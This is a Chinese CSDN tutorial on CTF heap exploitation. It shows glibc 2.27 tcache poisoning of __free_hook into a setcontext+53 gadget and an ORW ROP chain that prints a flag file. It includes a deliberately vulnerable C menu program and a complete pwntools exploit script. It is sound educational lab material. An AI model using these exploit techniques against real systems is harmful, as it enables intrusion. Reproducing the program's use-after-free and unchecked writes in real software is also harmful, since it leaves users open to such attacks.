堆上的setcontext利用系列还有:
【我的 PWN 学习手札】setcontext + shellcode-CSDN博客
目录
前言
一、setcontext gadget
二、setcontext + ROP
(一)setcontext设置寄存器
(二)ROP链布置
三、图示
四、模板与测试
(一)pwn.c
(二)exp.py
(三)过程调试
1.free时触发调用__free_hook,跳转执行setcontext gadget
2.setcontext gadget执行完,寄存器的值已经被设置好,接下来进行open("./flag")
3.open("./flag")执行完毕,从rsp寻找返回值,进入ROP链
4.ROP——read(3,buf,0x20)
5.ROP——puts(buf)
6.效果
前言
setcontext的gadget能够“恢复上下文”,即设置寄存器的值。除了可以利用其执行shellcode,还可以实现ROP来getshell。本篇介绍了利用setcontext+ROP的方法,ORW地打印flag信息。
一、setcontext gadget
详见【我的 PWN 学习手札】setcontext + shellcode-CSDN博客
二、setcontext + ROP
这一次还是先给出示例的EXP代码,然后分析代码执行流。
### tcache poisoning
add(0,0x3f8)
delete(0)
edit(0,0x8,p64(libc.sym['__free_hook']))
add(0,0x3f8)
add(1,0x3f8) # __free_hook
add(2,0x50)
### setcontext+roppayload=b''
payload+=p64(libc.sym['setcontext']+53)
# read(3,__free_hook+0x108,0x20)
payload+=p64(libc.search(asm('pop rdi;ret')).__next__())
payload+=p64(3)
payload+=p64(libc.search(asm('pop rsi;ret')).__next__())
payload+=p64(libc.sym['__free_hook']+0x108)
payload+=p64(libc.search(asm('pop rdx;ret')).__next__())
payload+=p64(0x20)
payload+=p64(libc.sym['read'])
# puts(__free_hook+0x108)
payload+=p64(libc.search(asm('pop rdi;ret')).__next__())
payload+=p64(libc.sym['__free_hook']+0x108)
payload+=p64(libc.sym['puts'])
payload=payload.ljust(0x100,b'\x00')
payload+=b'./flag\x00'
edit(1,len(payload),payload)frame=SigreturnFrame()
# open('./flag')
frame.rdi=libc.sym['__free_hook']+0x100
frame.rsi=0
frame.rdx=0
frame.rip=libc.sym['open']
frame.rsp=libc.sym['__free_hook']+0x8edit(2,len(frame.__bytes__()),frame.__bytes__())
delete(2)
假定读者已经阅读过前文setcontext + shellcode,或者本身就对setcontext+53处的gadget有一定的了解。 为不冗余赘述,直接进行利用setcontext进行ORW ROP的执行流介绍。
(一)setcontext设置寄存器
我们可以利用setcontext的gadget来实现对除了rax的所有寄存器赋值。因此
- rdi=add_of_str_"./flag"
- rip=add_of_func_open
这样至少能够执行一次open,打开了"./flag"文件。然后程序会从rsp寻找返回地址并跳转。然而执行完后我们希望能够ROP,所以rsp也是需要赋值的,并期望它能够指向ROP链。很自然的,我们对__free_hook附近分配的fake chunk具有写权限(这也是我们能够触发setcontext的原因,不熟悉的读者可以看前一篇博客),所以我们可以把ROP链布置到这里。
- rsp=add_of_ROP_begin
(二)ROP链布置
注意,利用gadget setcontext+53已经实现了open,接下来是read的ROP链的布置。在编辑__free_hook时,可以把ROP链不知道其后面。再在setcontext gadget中将rsp指向ROP起始处。
__free_hook | addr(pop_rdi;ret;) | 3 | addr(pop_rsi;ret) | buf_addr | addr(pop_rdx;ret) | 0x20 | addr(read) | addr(pop_rdi;ret;) | buf_addr | addr(puts)
注意,在open时还需要字符串"./flag",也可以在相对__free_hook固定偏移的位置写入。
三、图示
利用上述过程完成open("./flag")
利用上述过程完成read(3,buf,0x20)+puts(buf)
四、模板与测试
(一)pwn.c
#include<stdlib.h>
#include <stdio.h>
#include <unistd.h>char *chunk_list[0x100];void menu() {puts("1. add chunk");puts("2. delete chunk");puts("3. edit chunk");puts("4. show chunk");puts("5. exit");puts("choice:");
}int get_num() {char buf[0x10];read(0, buf, sizeof(buf));return atoi(buf);
}void add_chunk() {puts("index:");int index = get_num();puts("size:");int size = get_num();chunk_list[index] = malloc(size);
}void delete_chunk() {puts("index:");int index = get_num();free(chunk_list[index]);
}void edit_chunk() {puts("index:");int index = get_num();puts("length:");int length = get_num();puts("content:");read(0, chunk_list[index], length);
}void show_chunk() {puts("index:");int index = get_num();puts(chunk_list[index]);
}int main() {setbuf(stdin, NULL);setbuf(stdout, NULL);setbuf(stderr, NULL);while (1) {menu();switch (get_num()) {case 1:add_chunk();break;case 2:delete_chunk();break;case 3:edit_chunk();break;case 4:show_chunk();break;case 5:exit(0);default:puts("invalid choice.");}}
}
(二)exp.py
from pwn import *
elf=ELF('./pwn')
libc=ELF('/home/hacker/glibc-all-in-one/libs/2.27-3ubuntu1.5_amd64/libc-2.27.so')
context.arch=elf.arch
context.log_level='debug'io=process('./pwn')
def add(index,size):io.sendlineafter(b'choice:\n',b'1')io.sendlineafter(b'index:\n',str(index).encode())io.sendlineafter(b'size:\n',str(size).encode())
def delete(index):io.sendlineafter(b'choice:\n',b'2')io.sendlineafter(b'index:\n',str(index).encode())
def edit(index,length,content):io.sendlineafter(b'choice:\n',b'3')io.sendlineafter(b'index',str(index).encode())io.sendlineafter(b'length:\n',str(length).encode())io.sendafter(b'content:\n',content)
def show(index):io.sendlineafter(b'choice:\n',b'4')io.sendlineafter(b'index:\n',str(index).encode())gdb.attach(io)### leak libc
add(0,0x410)
add(1,0x10)
delete(0)
show(0)
libc.address=u64(io.recv(6).ljust(8,b'\x00'))-0x3ebca0
success('libc base:'+hex(libc.address))### tcache poisoning
add(0,0x3f8)
delete(0)
edit(0,0x8,p64(libc.sym['__free_hook']))
add(0,0x3f8)
add(1,0x3f8) # __free_hook
add(2,0x50)
### setcontext+roppayload=b''
payload+=p64(libc.sym['setcontext']+53)
# read(3,__free_hook+0x108,0x20)
payload+=p64(libc.search(asm('pop rdi;ret')).__next__())
payload+=p64(3)
payload+=p64(libc.search(asm('pop rsi;ret')).__next__())
payload+=p64(libc.sym['__free_hook']+0x108)
payload+=p64(libc.search(asm('pop rdx;ret')).__next__())
payload+=p64(0x20)
payload+=p64(libc.sym['read'])
# puts(__free_hook+0x108)
payload+=p64(libc.search(asm('pop rdi;ret')).__next__())
payload+=p64(libc.sym['__free_hook']+0x108)
payload+=p64(libc.sym['puts'])
payload=payload.ljust(0x100,b'\x00')
payload+=b'./flag\x00'
edit(1,len(payload),payload)frame=SigreturnFrame()
# open('./flag')
frame.rdi=libc.sym['__free_hook']+0x100
frame.rsi=0
frame.rdx=0
frame.rip=libc.sym['open']
frame.rsp=libc.sym['__free_hook']+0x8edit(2,len(frame.__bytes__()),frame.__bytes__())
pause()
delete(2)io.interactive()